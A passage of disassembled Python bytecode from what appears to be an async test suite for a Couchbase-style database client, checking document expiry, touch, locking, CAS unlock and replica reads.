POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL DocumentNotFoundException CALL_METHOD SETUP_WITH to 40 POP_TOP LOAD_FAST cb LOAD_METHOD remove LOAD_FAST self LOAD_ATTR NO_KEY CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_FAST default_kvp_and_reset LOAD_ATTR key STORE_FAST key LOAD_FAST default_kvp_and_reset LOAD_ATTR value STORE_FAST value LOAD_FAST new_kvp LOAD_ATTR value STORE_FAST value1 LOAD_FAST cb LOAD_METHOD upsert LOAD_FAST key LOAD_FAST value LOAD_GLOBAL UpsertOptions LOAD_GLOBAL timedelta LOAD_CONST 2 LOAD_CONST ('seconds',) CALL_FUNCTION LOAD_CONST ('expiry',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST '$document.exptime' STORE_FAST expiry_path LOAD_FAST cb_env LOAD_METHOD try_n_times LOAD_CONST 10 LOAD_CONST 3 LOAD_FAST cb LOAD_ATTR lookup_in LOAD_FAST key LOAD_GLOBAL SD LOAD_ATTR get LOAD_FAST expiry_path LOAD_CONST True LOAD_CONST ('xattr',) CALL_FUNCTION BUILD_TUPLE CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST res LOAD_FAST res LOAD_ATTR content_as LOAD_GLOBAL int BINARY_SUBSCR LOAD_CONST 0 CALL_FUNCTION STORE_FAST expiry1 LOAD_FAST cb LOAD_METHOD replace LOAD_FAST key LOAD_FAST value1 CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_FAST cb_env LOAD_METHOD try_n_times LOAD_CONST 10 LOAD_CONST 3 LOAD_FAST cb LOAD_ATTR lookup_in LOAD_FAST key LOAD_GLOBAL SD LOAD_ATTR get LOAD_FAST expiry_path LOAD_CONST True LOAD_CONST ('xattr',) CALL_FUNCTION BUILD_TUPLE CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST res LOAD_FAST res LOAD_ATTR content_as LOAD_GLOBAL int BINARY_SUBSCR LOAD_CONST 0 CALL_FUNCTION STORE_FAST expiry2 LOAD_FAST expiry1 LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST expiry2 LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST expiry1 LOAD_FAST expiry2 COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL asyncio LOAD_METHOD sleep LOAD_CONST 3 CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_FAST cb LOAD_METHOD get LOAD_FAST key CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL GetResult CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST result LOAD_ATTR content_as LOAD_GLOBAL dict BINARY_SUBSCR LOAD_FAST value1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_FAST default_kvp_and_reset LOAD_ATTR key STORE_FAST key LOAD_FAST default_kvp_and_reset LOAD_ATTR value STORE_FAST value LOAD_FAST new_kvp LOAD_ATTR value STORE_FAST value1 LOAD_FAST cb LOAD_METHOD upsert LOAD_FAST key LOAD_FAST value LOAD_GLOBAL UpsertOptions LOAD_GLOBAL timedelta LOAD_CONST 2 LOAD_CONST ('seconds',) CALL_FUNCTION LOAD_CONST ('expiry',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST '$document.exptime' STORE_FAST expiry_path LOAD_FAST cb_env LOAD_METHOD try_n_times LOAD_CONST 10 LOAD_CONST 3 LOAD_FAST cb LOAD_ATTR lookup_in LOAD_FAST key LOAD_GLOBAL SD LOAD_ATTR get LOAD_FAST expiry_path LOAD_CONST True LOAD_CONST ('xattr',) CALL_FUNCTION BUILD_TUPLE CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST res LOAD_FAST res LOAD_ATTR content_as LOAD_GLOBAL int BINARY_SUBSCR LOAD_CONST 0 CALL_FUNCTION STORE_FAST expiry1 LOAD_FAST cb LOAD_METHOD replace LOAD_FAST key LOAD_FAST value1 LOAD_GLOBAL ReplaceOptions LOAD_CONST True LOAD_CONST ('preserve_expiry',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_FAST cb_env LOAD_METHOD try_n_times LOAD_CONST 10 LOAD_CONST 3 LOAD_FAST cb LOAD_ATTR lookup_in LOAD_FAST key LOAD_GLOBAL SD LOAD_ATTR get LOAD_FAST expiry_path LOAD_CONST True LOAD_CONST ('xattr',) CALL_FUNCTION BUILD_TUPLE CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST res LOAD_FAST res LOAD_ATTR content_as LOAD_GLOBAL int BINARY_SUBSCR LOAD_CONST 0 CALL_FUNCTION STORE_FAST expiry2 LOAD_FAST expiry1 LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST expiry2 LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST expiry1 LOAD_FAST expiry2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL asyncio LOAD_METHOD sleep LOAD_CONST 3 CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL DocumentNotFoundException CALL_METHOD SETUP_WITH to 274 POP_TOP LOAD_FAST cb LOAD_METHOD get LOAD_FAST key CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_FAST default_kvp_and_reset LOAD_ATTR key STORE_FAST key LOAD_FAST default_kvp_and_reset LOAD_ATTR value STORE_FAST value LOAD_GLOBAL ReplaceOptions LOAD_GLOBAL timedelta LOAD_CONST 5 LOAD_CONST ('seconds',) CALL_FUNCTION LOAD_CONST True LOAD_CONST ('expiry', 'preserve_expiry') CALL_FUNCTION STORE_FAST opts LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL InvalidArgumentException CALL_METHOD SETUP_WITH to 72 POP_TOP LOAD_FAST cb LOAD_METHOD replace LOAD_FAST key LOAD_FAST value LOAD_FAST opts CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_FAST new_kvp LOAD_ATTR key STORE_FAST key LOAD_FAST new_kvp LOAD_ATTR value STORE_FAST value LOAD_FAST cb LOAD_METHOD upsert LOAD_FAST key LOAD_FAST value CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_FAST cb_env LOAD_METHOD try_n_times LOAD_CONST 10 LOAD_CONST 1 LOAD_FAST cb LOAD_ATTR get LOAD_FAST key CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_FAST cb LOAD_METHOD touch LOAD_FAST key LOAD_GLOBAL timedelta LOAD_CONST 2 LOAD_CONST ('seconds',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL MutationResult CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL asyncio LOAD_METHOD sleep LOAD_CONST 3 CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL DocumentNotFoundException CALL_METHOD SETUP_WITH to 146 POP_TOP LOAD_FAST cb LOAD_METHOD get LOAD_FAST key CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_FAST new_kvp LOAD_ATTR key STORE_FAST key LOAD_FAST new_kvp LOAD_ATTR value STORE_FAST value LOAD_FAST cb LOAD_METHOD upsert LOAD_FAST key LOAD_FAST value CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_FAST cb_env LOAD_METHOD try_n_times LOAD_CONST 10 LOAD_CONST 1 LOAD_FAST cb LOAD_ATTR get LOAD_FAST key CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_FAST cb LOAD_METHOD touch LOAD_FAST key LOAD_GLOBAL timedelta LOAD_CONST 15 LOAD_CONST ('seconds',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_FAST cb LOAD_METHOD get LOAD_FAST key LOAD_GLOBAL GetOptions LOAD_CONST True LOAD_CONST ('with_expiry',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST g_result LOAD_FAST g_result LOAD_ATTR expiry_time LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cb LOAD_METHOD touch LOAD_FAST key LOAD_GLOBAL timedelta LOAD_CONST 0 LOAD_CONST ('seconds',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_FAST cb LOAD_METHOD get LOAD_FAST key LOAD_GLOBAL GetOptions LOAD_CONST True LOAD_CONST ('with_expiry',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST g_result LOAD_FAST g_result LOAD_ATTR expiry_time LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_FAST new_kvp LOAD_ATTR key STORE_FAST key LOAD_FAST new_kvp LOAD_ATTR value STORE_FAST value LOAD_FAST cb LOAD_METHOD upsert LOAD_FAST key LOAD_FAST value CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_FAST cb_env LOAD_METHOD try_n_times LOAD_CONST 10 LOAD_CONST 1 LOAD_FAST cb LOAD_ATTR get LOAD_FAST key CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_FAST cb LOAD_METHOD get_and_touch LOAD_FAST key LOAD_GLOBAL timedelta LOAD_CONST 2 LOAD_CONST ('seconds',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL GetResult CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL asyncio LOAD_METHOD sleep LOAD_CONST 3 CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL DocumentNotFoundException CALL_METHOD SETUP_WITH to 146 POP_TOP LOAD_FAST cb LOAD_METHOD get LOAD_FAST key CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_FAST new_kvp LOAD_ATTR key STORE_FAST key LOAD_FAST new_kvp LOAD_ATTR value STORE_FAST value LOAD_FAST cb LOAD_METHOD upsert LOAD_FAST key LOAD_FAST value CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_FAST cb_env LOAD_METHOD try_n_times LOAD_CONST 10 LOAD_CONST 1 LOAD_FAST cb LOAD_ATTR get LOAD_FAST key CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_FAST cb LOAD_METHOD get_and_touch LOAD_FAST key LOAD_GLOBAL timedelta LOAD_CONST 15 LOAD_CONST ('seconds',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_FAST cb LOAD_METHOD get LOAD_FAST key LOAD_GLOBAL GetOptions LOAD_CONST True LOAD_CONST ('with_expiry',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST g_result LOAD_FAST g_result LOAD_ATTR expiry_time LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cb LOAD_METHOD get_and_touch LOAD_FAST key LOAD_GLOBAL timedelta LOAD_CONST 0 LOAD_CONST ('seconds',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_FAST cb LOAD_METHOD get LOAD_FAST key LOAD_GLOBAL GetOptions LOAD_CONST True LOAD_CONST ('with_expiry',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST g_result LOAD_FAST g_result LOAD_ATTR expiry_time LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_FAST default_kvp LOAD_ATTR key STORE_FAST key LOAD_FAST default_kvp LOAD_ATTR value STORE_FAST value LOAD_FAST cb LOAD_METHOD get_and_lock LOAD_FAST key LOAD_GLOBAL timedelta LOAD_CONST 3 LOAD_CONST ('seconds',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL GetResult CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL DocumentLockedException CALL_METHOD SETUP_WITH to 90 POP_TOP LOAD_FAST cb LOAD_METHOD upsert LOAD_FAST key LOAD_FAST value CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST cb_env LOAD_METHOD try_n_times LOAD_CONST 10 LOAD_CONST 1 LOAD_FAST cb LOAD_ATTR upsert LOAD_FAST key LOAD_FAST value CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_FAST default_kvp LOAD_ATTR key STORE_FAST key LOAD_FAST cb LOAD_METHOD get_and_lock LOAD_FAST key LOAD_GLOBAL timedelta LOAD_CONST 5 LOAD_CONST ('seconds',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST orig LOAD_GLOBAL isinstance LOAD_FAST orig LOAD_GLOBAL GetResult CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cb LOAD_METHOD get LOAD_FAST key CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result LOAD_FAST orig LOAD_ATTR content_as LOAD_GLOBAL dict BINARY_SUBSCR LOAD_FAST result LOAD_ATTR content_as LOAD_GLOBAL dict BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST orig LOAD_ATTR cas LOAD_FAST result LOAD_ATTR cas COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cb_env LOAD_ATTR try_n_times_till_exception LOAD_CONST 10 LOAD_CONST 1 LOAD_FAST cb LOAD_ATTR unlock LOAD_FAST key LOAD_FAST orig LOAD_ATTR cas LOAD_GLOBAL TemporaryFailException LOAD_GLOBAL DocumentNotLockedException BUILD_TUPLE LOAD_CONST ('expected_exceptions',) CALL_FUNCTION GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_FAST default_kvp_and_reset LOAD_ATTR key STORE_FAST key LOAD_FAST default_kvp_and_reset LOAD_ATTR value STORE_FAST value LOAD_FAST cb LOAD_METHOD get_and_lock LOAD_FAST key LOAD_GLOBAL timedelta LOAD_CONST 5 LOAD_CONST ('seconds',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL GetResult CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST result LOAD_ATTR cas STORE_FAST cas LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL DocumentLockedException CALL_METHOD SETUP_WITH to 96 POP_TOP LOAD_FAST cb LOAD_METHOD upsert LOAD_FAST key LOAD_FAST value CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST cb LOAD_METHOD replace LOAD_FAST key LOAD_FAST value LOAD_GLOBAL ReplaceOptions LOAD_FAST cas LOAD_CONST ('cas',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_FAST cb_env LOAD_ATTR try_n_times_till_exception LOAD_CONST 10 LOAD_CONST 1 LOAD_FAST cb LOAD_ATTR unlock LOAD_FAST key LOAD_FAST cas LOAD_GLOBAL TemporaryFailException LOAD_GLOBAL DocumentNotLockedException BUILD_TUPLE LOAD_CONST ('expected_exceptions',) CALL_FUNCTION GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_FAST default_kvp_and_reset LOAD_ATTR key STORE_FAST key LOAD_FAST default_kvp_and_reset LOAD_ATTR value STORE_FAST value LOAD_FAST cb LOAD_METHOD get_and_lock LOAD_FAST key LOAD_GLOBAL timedelta LOAD_CONST 5 LOAD_CONST ('seconds',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL GetResult CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cb LOAD_METHOD unlock LOAD_FAST key LOAD_FAST result LOAD_ATTR cas CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_FAST cb LOAD_METHOD upsert LOAD_FAST key LOAD_FAST value CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_FAST default_kvp_and_reset LOAD_ATTR key STORE_FAST key LOAD_FAST cb LOAD_METHOD get_and_lock LOAD_FAST key LOAD_GLOBAL timedelta LOAD_CONST 5 LOAD_CONST ('seconds',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result LOAD_FAST result LOAD_ATTR cas STORE_FAST cas LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL CasMismatchException CALL_METHOD SETUP_WITH to 76 POP_TOP LOAD_FAST cb LOAD_METHOD unlock LOAD_FAST key LOAD_CONST 100 CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST cb_env LOAD_ATTR try_n_times_till_exception LOAD_CONST 10 LOAD_CONST 1 LOAD_FAST cb LOAD_ATTR unlock LOAD_FAST key LOAD_FAST cas LOAD_GLOBAL TemporaryFailException LOAD_GLOBAL DocumentNotLockedException BUILD_TUPLE LOAD_CONST ('expected_exceptions',) CALL_FUNCTION GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_FAST default_kvp_and_reset LOAD_ATTR key STORE_FAST key LOAD_FAST cb LOAD_METHOD get_and_lock LOAD_FAST key LOAD_GLOBAL timedelta LOAD_CONST 5 LOAD_CONST ('seconds',) CALL_FUNCTION CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result LOAD_FAST result LOAD_ATTR cas STORE_FAST cas LOAD_FAST cb LOAD_METHOD unlock LOAD_FAST key LOAD_FAST cas CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL DocumentNotLockedException CALL_METHOD SETUP_WITH to 94 POP_TOP LOAD_FAST cb LOAD_METHOD unlock LOAD_FAST key LOAD_FAST cas CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_METHOD try_n_times LOAD_CONST 10 LOAD_CONST 3 LOAD_FAST cb_env LOAD_ATTR collection LOAD_ATTR get_any_replica LOAD_FAST default_kvp LOAD_ATTR key CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL GetReplicaResult CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL isinstance LOAD_FAST result LOAD_ATTR is_replica LOAD_GLOBAL bool CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST default_kvp LOAD_ATTR value LOAD_FAST result LOAD_ATTR content_as LOAD_GLOBAL dict BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL DocumentUnretrievableException CALL_METHOD SETUP_WITH to 34 POP_TOP LOAD_FAST cb_env LOAD_ATTR collection LOAD_METHOD get_any_replica LOAD_CONST 'not-a-key' CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_METHOD try_n_times LOAD_CONST 10 LOAD_CONST 3 LOAD_FAST cb_env LOAD_ATTR collection LOAD_ATTR get_all_replicas LOAD_FAST default_kvp LOAD_ATTR key CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result SETUP_LOOP to 120 SETUP_EXCEPT to 94 LOAD_GLOBAL next LOAD_FAST result CALL_FUNCTION STORE_FAST res LOAD_GLOBAL isinstance LOAD_FAST res LOAD_GLOBAL GetReplicaResult CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL isinstance LOAD_FAST res LOAD_ATTR is_replica LOAD_GLOBAL bool CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST default_kvp LOAD_ATTR value LOAD_FAST res LOAD_ATTR content_as LOAD_GLOBAL dict BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK JUMP_ABSOLUTE DUP_TOP LOAD_GLOBAL StopIteration COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP BREAK_LOOP POP_EXCEPT JUMP_ABSOLUTE END_FINALLY JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL DocumentNotFoundException CALL_METHOD SETUP_WITH to 34 POP_TOP LOAD_FAST cb_env LOAD_ATTR collection LOAD_METHOD get_all_replicas LOAD_CONST 'not-a-key' CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_METHOD try_n_times LOAD_CONST 10 LOAD_CONST 3 LOAD_FAST cb_env LOAD_ATTR collection LOAD_ATTR get_all_replicas LOAD_FAST default_kvp LOAD_ATTR key CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result LOAD_CONST 0 STORE_FAST active_cnt LOAD_CONST 0 STORE_FAST replica_cnt SETUP_LOOP to 124 LOAD_FAST result GET_ITER FOR_ITER to 122 STORE_FAST res LOAD_GLOBAL isinstance LOAD_FAST res LOAD_GLOBAL GetReplicaResult CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL isinstance LOAD_FAST res LOAD_ATTR is_replica LOAD_GLOBAL bool CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST default_kvp LOAD_ATTR value LOAD_FAST res LOAD_ATTR content_as LOAD_GLOBAL dict BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST res LOAD_ATTR is_replica POP_JUMP_IF_FALSE LOAD_FAST replica_cnt LOAD_CONST 1 INPLACE_ADD STORE_FAST replica_cnt JUMP_ABSOLUTE LOAD_FAST active_cnt LOAD_CONST 1 INPLACE_ADD STORE_FAST active_cnt JUMP_ABSOLUTE POP_BLOCK LOAD_FAST active_cnt LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST replica_cnt LOAD_FAST active_cnt COMPARE_OP >= POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_FAST new_kvp LOAD_ATTR key STORE_FAST key LOAD_FAST new_kvp LOAD_ATTR value STORE_FAST value LOAD_FAST expiry LOAD_CONST -1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL InvalidArgumentException CALL_METHOD SETUP_WITH to 70 POP_TOP LOAD_FAST cb LOAD_ATTR upsert LOAD_FAST key LOAD_FAST value LOAD_GLOBAL timedelta LOAD_FAST expiry LOAD_CONST ('seconds',) CALL_FUNCTION LOAD_CONST ('expiry',) CALL_FUNCTION GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY JUMP_FORWARD to 236 LOAD_GLOBAL int LOAD_GLOBAL time CALL_FUNCTION LOAD_CONST 1.0 BINARY_SUBTRACT CALL_FUNCTION STORE_FAST before LOAD_FAST cb LOAD_ATTR upsert LOAD_FAST key LOAD_FAST value LOAD_GLOBAL timedelta LOAD_FAST expiry LOAD_CONST ('seconds',) CALL_FUNCTION LOAD_CONST ('expiry',) CALL_FUNCTION GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result LOAD_FAST result LOAD_ATTR cas LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST '$document.exptime' STORE_FAST expiry_path LOAD_FAST cb_env LOAD_METHOD try_n_times LOAD_CONST 10 LOAD_CONST 3 LOAD_FAST cb LOAD_ATTR lookup_in LOAD_FAST key LOAD_GLOBAL SD LOAD_ATTR get 